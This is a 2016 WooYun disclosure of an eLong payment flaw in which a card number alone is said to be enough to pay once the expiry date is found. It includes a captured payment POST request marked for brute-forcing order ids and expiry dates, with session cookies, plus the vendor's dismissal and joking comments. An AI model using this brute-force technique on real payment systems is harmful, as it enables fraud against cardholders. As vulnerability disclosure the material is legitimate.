当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0188155

漏洞标题:艺龙旅行网严重支付漏洞(只需知道银行信用卡号即可消费)

相关厂商:艺龙旅行网

漏洞作者: Focusstart

提交时间:2016-03-23 15:32

修复时间:2016-03-24 02:22

公开时间:2016-03-24 02:22

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

感谢壮丁的友情赞助,好基友,一起走。

详细说明:

首先,在艺龙随便下了一个订单,到支付页面,选择信用卡支付
输入正确的卡号,有效期
姓名,身份证等相关信息随便输

2.png


居然支付成功了。
那么问题来了
说明这里只判断信用卡有效期即可成功支付
接下来就简单了,我们只要尝试爆破出信用卡的有效期即可
然后发现错误的有效期也能使订单到判定支付是否成功的阶段

漏洞证明:

所以。下多个订单

3.png


随便点击一个订单到支付页面
抓包

POST /epay/isajax/CreditCardExtend/Save HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: zh-cn
Referer: https://secure.elong.com/epay/cn/creditcardextend/433877263696341615train
Accept: application/json, text/javascript, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: secure.elong.com
Content-Length: 360
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: SessionGuid=42ff44d5-95e9-4a84-a57b-0199c4a28a59; com.eLong.CommonService.OrderFromCookieInfo=Pkid=50&Parentid=50000&Coefficient=0.0&Status=1&Priority=8000&Makecomefrom=0&Savecookies=0&Cookiesdays=0&Isusefparam=0&Orderfromtype=1; s_cc=true; s_sq=elongcom%3D%2526pid%253Dmy.elong.com%25252Ftrain%25252Ftrainorder_cn.html%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fmy.elong.com%25252Ftrain%25252Ftrainorder_cn.html%25253Frnd%25253D20160323142748598%252523%25253F%2526ot%253DA%2526oi%253D413; CookieGuid=bf5e468c-2c0e-4e32-a174-c6b00a59600b; Esid=72832668-11ae-4cf6-8486-f2a53dda7c15; member=18075958330; Lgid=LRpRtrsC3gsExwGXhEk%2flpaR3waA7McUH7SGryL5%2fSFdUfZTcxrrKJN7gDYF38TJf%2b6813mw0I7%2bEqLpl1r2dNM00g3TNSUIsbfjUZc3xAoySWAQkZq3Hr3%2fuLPImoK3; s_visit=1; route=d99f2606f97cd9d480bdb1efdeca5346; ASP.NET_SessionId=go0f0j550ckcs055bbbdmvu1; TLTCNT=CHG-OWEBTJ10000000000077396
language=cn&id=§433877263696341615train§&paymentInfo.CreditCardNumber=******&paymentInfo.Cardholder=%E6%B5%8B%E8%AF%95&paymentInfo.FirstName=&paymentInfo.MiddleName=&paymentInfo.LastName=&paymentInfo.CardValidity=§2022-1§&paymentInfo.CertificateTypeID=2&paymentInfo.CertificateNumber=321321&paymentInfo.CheckedLast4Num=false&paymentInfo.IdOfCardsHistory=


5.png


订单+有效期爆破。隔几秒放过
那么订单都会到判断支付是否成功的阶段,如果订单支付成功,说明有效期是正确的
成功爆破出信用卡有效期并成功支付

7.png


6.png


1.jpg

修复方案:

信用卡支付逻辑是不是该有有效期+CVV码+手机验证码组成?

版权声明:转载请注明来源 Focusstart@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-03-24 02:22

厂商回复:

亲爱的乌云同行及白帽子,您们好:
经过我们与贵方的多次沟通和解释,此问题为有误解的错误漏洞报告。在艺龙平台上的信用卡支付过程中,不同的银行确实会要求提交不同的用户信用卡信息。有的银行自己设定只需要信用卡号和有效期就可以完成支付,而不需要其他例如验证CVV码的流程,但是后续控制措施会从用户看不到的其他方面加以弥补。有时需要额外收集身份证信息是用于和部分银行信用卡中心核对持卡人身份,是属于一个保证支付安全的内部控制加强措施。
众所周知,使用假信用卡或盗用他人的信用卡信息进行支付是非常严重的违法行为,作为已经在本行业经营十多年的成熟企业,艺龙提醒广大用户妥善保管好自己的信用卡信息。艺龙已经通过了PCI DSS认证(Payment Card Industry Data Security Standard,由国际顶级信用卡公司Visa,MasterCard,JCB等联合出台的全球信用卡信息安全标准),将与银行和同业公司一起努力为广大用户提供更安全,更方便和更快捷的支付体验。
作为艺龙公司,我们非常重视用户的所有安全问题,如有咨询请随时与艺龙公司联系,感谢您的大力支持!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-23 15:33 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈!躁起来!)

    尼玛呀

  2. 2016-03-23 15:34 | j0k3r ( 普通白帽子 | Rank:431 漏洞数:121 | 心有猛虎,细嗅蔷薇)

    可怕

  3. 2016-03-23 15:34 | 我是壮丁 认证白帽子 ( 路人 | Rank:10 漏洞数:1 | 专业打酱油)

    可啪

  4. 2016-03-23 15:35 | AK-47 ( 实习白帽子 | Rank:78 漏洞数:11 | 开开心心挖洞,踏踏实实上学!)

    这么牛叉,要火

  5. 2016-03-23 15:35 | zmx ( 普通白帽子 | Rank:123 漏洞数:32 | wooyun)

    嘀,上墙卡

  6. 2016-03-23 15:35 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1858 漏洞数:153 | 如果大海能够带走我的矮丑...)

    好可怕

  7. 2016-03-23 15:35 | Aasron ( 普通白帽子 | Rank:263 漏洞数:67 | 万万没想到)

    首先你得先有一张信用卡

  8. 2016-03-23 15:35 | Focusstart 认证白帽子 ( 普通白帽子 | Rank:694 漏洞数:189 | 努力让某某某成为最幸福的女人!)

    吓得我以后都不敢用信用卡了

  9. 2016-03-23 15:35 | 带馅儿馒头 认证白帽子 ( 核心白帽子 | Rank:1325 漏洞数:150 | 心在,梦在)

    还好我不用

  10. 2016-03-23 15:36 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)

    打雷了,该出来收衣服了

  11. 2016-03-23 15:36 | _Thorns ( 普通白帽子 | Rank:1667 漏洞数:252 | WooYun is the Bigest gay place. 网络工...)

    好可怕,还好我没信用卡,

  12. 2016-03-23 15:36 | 啊L川 认证白帽子 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    可啪啪啪!

  13. 2016-03-23 15:37 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:765 漏洞数:83 | 铁甲依然在)

  14. 2016-03-23 15:37 | just_joker ( 实习白帽子 | Rank:77 漏洞数:19 | ..........)

    随随便便,开了一间免费的大床炮房

  15. 2016-03-23 15:37 | js2012 ( 实习白帽子 | Rank:94 漏洞数:38 | 闭关修炼。。。)

    66666

  16. 2016-03-23 15:42 | 咕噜流氓兔 ( 路人 | Rank:0 漏洞数:1 | 专业段子手~~~!)

    66666,开房免费了 这下

  17. 2016-03-23 15:43 | Mieless ( 实习白帽子 | Rank:35 漏洞数:10 | 我是来打酱油的。)

    滴,卡号110120119,学生卡,麻烦皇家礼炮开个房

  18. 2016-03-23 15:48 | 路人毛 ( 实习白帽子 | Rank:98 漏洞数:38 | 要想Rank给高,标题一定得屌)

    我草!

  19. 2016-03-23 15:49 | Taro ( 普通白帽子 | Rank:249 漏洞数:67 | 走向最远的方向,哪怕前路迷茫;抱着最大的...)

    这个问题有点严重啊

  20. 2016-03-23 15:50 | 木头 ( 路人 | Rank:28 漏洞数:5 | 一二三,木头人)

    火钳占座

  21. 2016-03-23 16:05 | JutaZ ( 实习白帽子 | Rank:89 漏洞数:13 | 少壮不努力老大徒伤悲)

    可怕

  22. 2016-03-23 16:06 | zzR 认证白帽子 ( 普通白帽子 | Rank:1394 漏洞数:123 | 东方红**联盟欢迎你-0-)

    我最近想去个北欧地极10日游,不知道sky大金表的卡能不能扛得住

  23. 2016-03-23 16:08 | also ( 普通白帽子 | Rank:434 漏洞数:53 | 招渗透/php/前端/ios&android安全,广州)

    是否跟上次携程那个一样?

  24. 2016-03-23 16:10 | 皮卡丘♪~(´ε` ) ( 路人 | Rank:2 漏洞数:1 | 我是小号啊)

    总统套房,先开100年,谢谢

  25. 2016-03-23 16:12 | Whysec ( 路人 | Rank:20 漏洞数:8 )

    还好我办不起信用卡

  26. 2016-03-23 16:15 | hh2014 ( 普通白帽子 | Rank:818 漏洞数:202 | Rank:1000 漏洞数:240|目标RANK 1200)

    666

  27. 2016-03-23 16:16 | 红客十年 ( 普通白帽子 | Rank:392 漏洞数:80 | 去年离职富士康,回到家中上蓝翔,蓝翔毕业...)

    幸好我不用信用卡

  28. 2016-03-23 16:18 | Format_smile ( 普通白帽子 | Rank:377 漏洞数:143 | ···孰能无过,谁是谁非!)

    简直阔怕啊

  29. 2016-03-23 16:18 | ArcticWolf ( 路人 | Rank:17 漏洞数:10 | #每#天#提#交#一#个#洞#)

    看到上面清一色核心,,来沾沾挖洞的灵气

  30. 2016-03-23 16:19 | zsmj ( 普通白帽子 | Rank:164 漏洞数:25 | 蛛丝马迹!)

    可 啪

  31. 2016-03-23 16:21 | 江苏苏宁易购电子商务有限公司(乌云厂商)

    没有信用卡的路过

  32. 2016-03-23 16:22 | 齐迹 ( 普通白帽子 | Rank:802 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)

    这是怎么做到的??难道银行接口还没限制啊?

  33. 2016-03-23 16:23 | 幻老头儿 ( 普通白帽子 | Rank:236 漏洞数:50 | 新手上路。)

    密码在数据库中了吧?

  34. 2016-03-23 16:30 | 路人毛 ( 实习白帽子 | Rank:98 漏洞数:38 | 要想Rank给高,标题一定得屌)

    @江苏苏宁易购电子商务有限公司 苏宁,发我几张神秘代码卡,如何?

  35. 2016-03-23 16:34 | D_in ( 普通白帽子 | Rank:423 漏洞数:65 | 到我嘴里来)

    要火

  36. 2016-03-23 16:36 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1858 漏洞数:153 | 如果大海能够带走我的矮丑...)

    滴,穴深卡~

  37. 2016-03-23 16:38 | _Thorns ( 普通白帽子 | Rank:1667 漏洞数:252 | WooYun is the Bigest gay place. 网络工...)

    前排占座,哈哈哈。

  38. 2016-03-23 16:39 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    卧槽!前排围观!

  39. 2016-03-23 16:40 | loli 认证白帽子 ( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)

    请警察叔叔密切关注此人去向。

  40. 2016-03-23 16:41 | xiaoxiaoleo ( 实习白帽子 | Rank:51 漏洞数:15 | xx.oo)

    http://tech.qq.com/a/20140327/005032.htm

  41. 2016-03-23 16:48 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    啊!啊!~

  42. 2016-03-23 16:50 | 白非白 认证白帽子 ( 普通白帽子 | Rank:465 漏洞数:65 | ♫ Freedom - Anthony Hamilton ♫)

    滴,涝粘卡~

  43. 2016-03-23 16:55 | secart ( 实习白帽子 | Rank:31 漏洞数:7 | 这个人很懒,什么都没留。)

    我带着你,你带着信用卡,我们一起去旅行吧~~~~

  44. 2016-03-23 16:56 | Brother ( 实习白帽子 | Rank:50 漏洞数:15 | 从小有个英雄梦!)

    事实证明了一些问题现象!老百姓路过~咱是无辜的!$$$不见了!哦

  45. 2016-03-23 16:58 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈!躁起来!)

    多个银行都行,好变态的构造

  46. 2016-03-23 17:23 | prolog ( 普通白帽子 | Rank:598 漏洞数:113 | Rank:8888 漏洞数:1024 | 低调求发展)

    $$$不见了!哦

  47. 2016-03-23 17:36 | Vinc ( 普通白帽子 | Rank:124 漏洞数:23 | :))

    .

  48. 2016-03-23 17:37 | 百度谷歌bing狗一下 ( 路人 | Rank:21 漏洞数:4 | 学到老活到老!)

    为什么没人发CCAV看这里了...

  49. 2016-03-23 17:38 | 闰土。 ( 路人 | Rank:6 漏洞数:3 | 做自己的英雄 - rainto .)

    害怕~ ,高清重置。

  50. 2016-03-23 17:51 | 小豹 ( 实习白帽子 | Rank:57 漏洞数:10 | 没有不老的誓言,没有不变的承诺,踏上旅途...)

    吓得我,把钱取完了

  51. 2016-03-23 17:58 | ANS5 ( 普通白帽子 | Rank:218 漏洞数:69 | 爱生活,爱挖洞,更爱妹纸。)

    卧槽,要火!

  52. 2016-03-23 18:23 | 苏安泽 ( 普通白帽子 | Rank:136 漏洞数:37 | 一个想成为演员的黑客~)

    我收到我的银行卡消费信息,吓到我赶紧骑单车去银行查。结果...发现我卡里的5毛钱还在,真是吓死人了!

  53. 2016-03-23 18:29 | Can ( 实习白帽子 | Rank:98 漏洞数:28 | 天地不仁 以万物为刍狗)

    叼叼叼

  54. 2016-03-23 18:38 | by黑桃 ( 路人 | Rank:10 漏洞数:8 | 走到技术的顶端,不是天才,而是疯子)

    把这些人全部给我带走

  55. 2016-03-23 18:53 | 我是你的益达! ( 实习白帽子 | Rank:34 漏洞数:7 | 容我喝壹杯捌贰年的雪碧压压精!!)

    ........

  56. 2016-03-23 19:10 | 表哥 ( 实习白帽子 | Rank:42 漏洞数:11 | 他依然帅气。)

    我收到我的银行卡消费信息,吓到我赶紧骑单车去银行查。结果...发现我卡里的5毛钱还在,真是吓死人了!额,我车呢

  57. 2016-03-23 19:18 | Rona ( 实习白帽子 | Rank:88 漏洞数:23 | test)

    看标题就大概知道了,信用卡号+信用卡有效期完成支付?这个应该是银行本身的问题,做过信用卡支付的都知道。这是银行的问题,跟具体使用公司没有太大关系。你们这些穷屌果断退散。

  58. 2016-03-23 19:23 | 黑云 ( 路人 | Rank:12 漏洞数:3 | 米有)

    只是需要知道卡号就可以支付吗?不会这么简单吧?

  59. 2016-03-23 19:28 | Brother ( 实习白帽子 | Rank:50 漏洞数:15 | 从小有个英雄梦!)

    怎么多人留言,咱们唯一目地就是提醒各位厂商!一个小细节可能给客户带来财产威胁(责任还是厂商)如果属实!各位厂商引以为戒!(乌云路人甲个人个人观点)

  60. 2016-03-23 19:39 | Hackshy ( 实习白帽子 | Rank:47 漏洞数:23 | XXXXXXXXXXXX)

    ..!!!!!!!!!!!!... 说得好像你们能看得到似的。

  61. 2016-03-23 19:42 | Brother ( 实习白帽子 | Rank:50 漏洞数:15 | 从小有个英雄梦!)

    !!!!!打雷了!又是敏感标题!咱们看不到!但是可以想象!哈

  62. 2016-03-23 19:43 | autO_pw ( 实习白帽子 | Rank:37 漏洞数:12 | 我们的征途是星辰大海。)

    吓得我马上把银行卡剪烂丢进厕所冲走了

  63. 2016-03-23 19:44 | loopx9 认证白帽子 ( 普通白帽子 | Rank:773 漏洞数:78 | ..)

    啪啪啪!

  64. 2016-03-23 19:53 | 诚殷的小白帽 ( 实习白帽子 | Rank:56 漏洞数:29 )

    papapap

  65. 2016-03-23 20:02 | AAA ( 路人 | Rank:0 漏洞数:2 | 战五渣~)

    这应该是CNP吧!这应该是CNP吧!这应该是CNP吧!携程早就在用了,去年还有人报过。

  66. 2016-03-23 20:04 | webhe4d ( 实习白帽子 | Rank:44 漏洞数:18 | 沉浸代码,学审计!!!)

    可以可以。

  67. 2016-03-23 20:19 | AAA ( 路人 | Rank:0 漏洞数:2 | 战五渣~)

    @江苏苏宁易购电子商务有限公司

  68. 2016-03-23 21:05 | 泪雨无魂 ( 普通白帽子 | Rank:240 漏洞数:62 | too young too simple)

    好可怕

  69. 2016-03-23 21:35 | 雅柏菲卡 ( 普通白帽子 | Rank:1275 漏洞数:253 | 雙魚座聖鬥士雅柏菲卡)

    @江苏苏宁易购电子商务有限公司 同路过

  70. 2016-03-23 21:45 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:63 | 潜心代码审计。)

    @江苏苏宁易购电子商务有限公司 喜闻乐见

  71. 2016-03-23 21:59 | 盛大在线(乌云厂商)

    人艰不拆

  72. 2016-03-23 22:01 | s3xy ( 核心白帽子 | Rank:942 漏洞数:125 | 相濡以沫,不如相忘于江湖)

    马克

  73. 2016-03-23 22:18 | Cheery ( 路人 | Rank:26 漏洞数:5 | 0.0)

    老司机 带带我!!!

  74. 2016-03-23 22:26 | 暴走 ( 普通白帽子 | Rank:552 漏洞数:101 | Wooyun的Rank获取如同Dota冲天梯有过之而无...)

    可以黑产!

  75. 2016-03-23 22:39 | ucifer ( 普通白帽子 | Rank:226 漏洞数:71 | 萌萌哒~)

    卧槽,吓得我都把艺龙给注销账号了

  76. 2016-03-24 00:44 | 泛海扬帆 ( 路人 | Rank:4 漏洞数:3 | 广告位招商 Tel:136xxxxxxxx)

    袍哥威武